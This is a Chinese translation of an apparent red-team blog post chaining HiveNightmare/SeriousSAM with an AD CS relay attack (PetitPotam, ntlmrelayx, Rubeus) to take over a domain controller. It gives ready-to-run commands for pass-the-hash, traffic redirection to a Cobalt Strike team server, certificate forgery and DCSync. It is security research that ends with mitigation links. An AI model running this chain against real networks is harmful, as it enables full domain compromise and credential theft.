管理员噩梦:结合HiveNightmare/SeriousSAM与AD CS攻击路径实现入侵

本文详细分析了如何结合CVE-2021-36934(HiveNightmare/SeriousSAM)漏洞与AD CS证书服务中继攻击,通过权限提升、流量转发和证书伪造,最终实现域控制器的完全控制。

管理员噩梦:结合HiveNightmare/SeriousSAM和AD CS攻击路径实现入侵

Stephan Borosh //

2021年在保护Windows和Active Directory环境方面带来了一些有趣的挑战,微软在解决新漏洞方面行动缓慢。

6月,@Harmj0y和@tifkin_发布了一些优秀的研究和一份白皮书,讨论了Active Directory证书服务(“AD CS”)的一些潜在攻击路径(https://posts.specterops.io/certified-pre-owned-d95910965cd2)。随后是impacket的修改版本(https://github.com/SecureAuthCorp/impacket/pull/1101),提供了将凭据中继到AD CS服务器并为中继用户获取证书的能力。然后,该证书可以在其他地方重新使用以进行身份验证或提升权限。下图显示了一个潜在的攻击场景,其中用户被钓鱼,受感染的主机被用作AD CS中继攻击的支点。

本博客遵循的攻击图示例

在攻击场景中,对手需要诱使远程用户或系统向对手控制的主机进行身份验证,以便将凭据中继到证书服务器。由@tifkin_创建的SpoolSample工具(https://github.com/leechristensen/SpoolSample)提供了一种调用MS-RPRN RPC服务的方法,通过打印后台处理程序诱使服务器向对手进行身份验证,但该工具需要Active Directory用户凭据。

@topotam77在一条推文中发布了一个名为“Petitpotam”的新工具(https://twitter.com/topotam77/status/1416833996923809793)。该工具提供了一种新方法,可以诱使服务器或工作站将机器账户哈希发送回对手。通过利用MS-EFSRPC协议(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31),网络上的任何用户都可以调用远程主机发送机器账户哈希,无论是否经过身份验证。

2021年7月,@jonasLyk的一条推文(https://twitter.com/jonasLyk/status/1417205166172950531)揭示了一个漏洞,允许系统上的任何用户从影子副本(如果存在)读取SAM和SYSTEM注册表配置单元。结合Mimikatz等实用程序,用户可以轻松获取本地管理员密码哈希。有了这个哈希,用户可能能够传递哈希并以管理员身份验证到本地计算机。有关此漏洞的更多信息,请查看https://www.blackhillsinfosec.com/what-to-know-about-microsofts-registry-hive-flaw-serioussam/。

攻击方法示例

我们首先通过Cobalt Strike的信标代理建立初始访问。接下来,我们通过上传自定义的Cobalt Strike启动器和与PortBender实用程序打包的WinDivert驱动程序(https://github.com/praetorian-inc/PortBender)来准备操作区域。在此示例中,我们使用目录C:\Windows\Tasks进行暂存。

准备环境后,我们可以开始尝试利用CVE-2021-36934。我们将使用@cube0x0的Github创建的工具(https://github.com/cube0x0/CVE-2021-36934)。我们将使用Cobalt Strike的execute-assembly在目标主机上内存中运行.NET工具。

我们成功转储并解析了配置单元,现在向我们展示了一些信息。RID 500(内置)管理员账户有一个空密码,表明最初未设置。在生产环境中,这很可能不是空的或由本地管理员密码解决方案(“LAPS”)设置。我们还看到一些缓存的域凭据,可以提交给密码破解器以尝试获取明文凭据。对于我们的情况,我们将尝试对管理员账户重用RID 1001账户密码哈希,希望发现密码重用。

利用@checkymander的Sharp-SMBExec工具(https://github.com/checkymander/Sharp-SMBExec),我们可以尝试对本地计算机进行传递哈希,试图提升我们的权限。

我们执行命令“execute-assembly Sharp-SMBExec.exe target:localhost hash:2be54de51a5f7b3473ed0c3e1afd07a7 username:administrator command:“cmd.exe /c c:\windows\tasks\procmon.exe"以SYSTEM身份执行我们的Cobalt Strike信标负载。

在建立新的SYSTEM信标后,我们可以设置流量重定向。

在信标中,使用rportfwd 31337 127.0.0.1 445启动反向端口转发。

这将告诉信标代理将任何传入BENDERPC端口31337的流量,通过信标代理,转发回团队服务器端口445。无需在团队服务器上打开任何防火墙,因为此流量通过代理。

接下来,启动PortBender并将任何传入BENDERPC端口445的流量重定向到rportfwd正在监听的端口31337。

我们需要一个SOCKS代理来通过代理将中继的流量传回目标网络。

完成后,我们可以设置impacket来中继流量。

在Cobalt Strike团队服务器上,安装此更新版本的impacket(https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack)。我们必须克隆存储库,切换分支(git checkout ntlmrelayx-adcs-attack),然后按照impacket说明进行安装。

我们还需要PetitPotam工具(https://github.com/topotam/PetitPotam)来诱使远程目标通过MS-EFSRPC向我们发送身份验证。

我们需要修改proxychains默认DNS服务器以指向目标网络的内部DNS服务器。修改团队服务器上的文件/usr/lib/proxychains3/proxyresolv以指向内部DNS服务器,如下例所示。如果您需要从Cobalt Strike枚举DNS服务器的IP地址,可以在信标代理中执行以下命令:

powerpick [System.Net.Dns]::GetHostEntry(“domain.local”)

为了使此攻击正常工作,我们需要提供证书服务器的完全限定域名(“FQDN”)。有几种方法可以找到证书服务器。如果您有远程桌面访问权限,可以发出命令certutil.exe -config - -ping以显示证书服务器。您也可以使用PowerView等工具检查域计算机属于哪些组。证书服务器将属于“Cert Publishers”组。

在screen或tmux会话中,我们可以使用proxychains python3 ntlmrelayx.py -t https://crt.planetexpress.local/certsrv/certfnsh.asp -smb2support –adcs –template “domaincontroller"启动ntlmrelayx.py。

将ntlmrelayx.py指向通过我们的SOCKS代理的证书服务器后,我们可以执行PetitePotam以诱使域控制器将其计算机哈希发送给我们,使用proxychains python3 Petitpotam.py 192.168.253.140 192.168.253.135。

Petitpotam启动身份验证。我们应该收到一个连接返回。

在Cobalt Strike中,我们看到SMB流量通过PortBender转发。

太好了!我们现在拥有DC01$机器账户的有效证书。我们可以使用Rubeus工具(https://github.com/GhostPack/Rubeus)将其导入我们的信标代理。通过拥有域控制器机器账户哈希,我们可以有效地成为域控制器并执行诸如DCSync之类的攻击。

回到Cobalt Strike信标代理(不需要提升权限),我们执行Rubeus将会话中的票证传递并成为DC01$。

execute-assembly /home/rvrsh3ll/tools/Rubeus.exe asktgt /user:DC01$ /certificate:MII.. /ptt

现在我们已经成功成为域控制器,我们可以从Cobalt Strike执行DCSYNC攻击。

结论

回顾一下,我们从初始信标代理开始,滥用CVE-2021-36934提升本地权限,将端口445重定向到我们的团队服务器,诱使域控制器向我们进行身份验证,将这些凭据中继到证书服务器,接收身份验证证书,通过Rubeus将其导入我们的信标代理,并DCSYNC域控制器以获胜。

结合这两种攻击为对手提供了一种快速接管Active Directory环境的方法。微软已在https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934发布了CVE-2021-36934的缓解措施。关于AD CS,您可以查看SpecterOps的优秀帖子(https://posts.specterops.io/certified-pre-owned-d95910965cd2)和PKI审计工具https://github.com/GhostPack/PSPKIAudit。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计